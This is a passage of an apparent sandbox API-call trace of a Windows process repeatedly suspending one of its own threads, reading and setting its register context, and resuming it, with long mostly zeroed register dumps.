[8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0125.901] ResumeThread (hThread=0x100) returned 0x1 [0125.902] CloseHandle (hObject=0x100) returned 1 [0125.902] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0126.027] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0126.222] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0126.222] SuspendThread (hThread=0x100) returned 0x0 [0126.222] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef30, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd2dffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0126.223] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ef28, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0126.224] ResumeThread (hThread=0x100) returned 0x1 [0126.224] CloseHandle (hObject=0x100) returned 1 [0126.224] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0126.432] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0126.532] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0126.532] SuspendThread (hThread=0x100) returned 0x0 [0126.532] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f980, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd36014, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0126.533] ResumeThread (hThread=0x100) returned 0x1 [0126.533] CloseHandle (hObject=0x100) returned 1 [0126.533] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0126.642] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0126.762] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0126.762] SuspendThread (hThread=0x100) returned 0x0 [0126.762] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f790, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f75f160, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0126.763] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f788, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, 